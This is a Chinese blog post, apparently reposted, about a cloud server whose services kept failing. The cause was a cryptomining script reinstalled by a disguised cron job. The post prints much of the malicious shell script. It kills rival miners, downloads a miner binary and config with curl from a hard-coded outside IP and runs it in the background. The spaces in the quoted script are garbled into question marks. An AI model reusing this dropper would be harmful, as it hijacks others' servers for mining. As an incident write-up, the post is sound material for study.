服务器被植入木马，CPU飙升200%

pingyan

2020-06-12

关注关注

作者：我叫刘半仙
https://my.oschina.net/liughDevelop/blog/1786631

线上服务器用的是某云的，欢快的完美运行着Tomcat，MySQL，MongoDB，ActiveMQ等程序。突然一则噩耗从前线传来：网站不能访问了！

此项目是我负责，我以150+的手速立即打开了服务器，看到Tomcat挂了，然后顺其自然的重启，启动过程中直接被killed，再试试数据库，同样没成功

多次尝试甚至重启机器无果。机智的我打了个top，出现以下内容：

服务器被植入木马，CPU飙升200%

这是谁运行的程序？

不管三七二十一先杀掉再说，因为它就是Tomcat等程序启动不了的元凶。然而并没有什么卵用，过一会再看那个东西又跑出来占cpu。推荐阅读：Linux 最常用命令整理，建议收藏。

怀疑是个定时任务：

服务器被植入木马，CPU飙升200%

什么鬼，是个图片？立即访问了一下：

服务器被植入木马，CPU飙升200%

好尴尬，但是心思细腻的我早知道没这么简单，肯定只是伪装，curl过去是下面的脚本，过程就是在挖矿：

#!/bin/sh
pkill?-9?142.4.124.164
pkill?-9?192.99.56.117
pkill?-9?jva
pkill?-f?./atd
pkill?-f?/tmp/wa/httpd.conf
pkill?-f?108.61.186.224
pkill?-f?128.199.86.57
pkill?-f?67.231.243.10
pkill?-f?142.4.124.164
pkill?-f?192.99.56.117
pkill?-f?45.76.102.45
pkill?-f?AnXqV.yam
pkill?-f?BI5zj
pkill?-f?Carbon
pkill?-f?Duck.sh
pkill?-f?Guard.sh
...中间省略
/sbin/sysctl?-w?vm.nr_hugepages=`$num`
nohup?./suppoie?-c?config.json?-t?`echo?$cores`?>/dev/null?&
fi
ps?-fe|grep?-w?suppoie?|grep?-v?grep
if?[?$??-eq?0?]
then
pwd
else
curl?-o?/var/tmp/config.json?http://192.99.142.235:8220/1.json
curl?-o?/var/tmp/suppoie?http://192.99.142.235:8220/rig1
chmod?777?/var/tmp/suppoie
cd?/var/tmp
proc=`grep?-c?^processor?/proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl?-w?vm.nr_hugepages=`$num`
nohup?./suppoie?-c?config.json?-t?`echo?$cores`?>/dev/null?&
sleep?3
fi
if?[?$??-eq?0?]
then
pwd
else
curl?-o?/var/tmp/config.json?http://192.99.142.235:8220/1.json
curl?-o?/var/tmp/suppoie?http://192.99.142.235:8220/rig2
chmod?777?/var/tmp/suppoie
cd?/var/tmp
proc=`grep?-c?^processor?/proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl?-w?vm.nr_hugepages=`$num`
nohup?./suppoie?-c?config.json?-t?`echo?$cores`?>/dev/null?&
fi
echo?"runing....."

有兴趣的同学想查看以上完整源代码，命令行运行下面指令（不分操作系统，方便安全无污染）：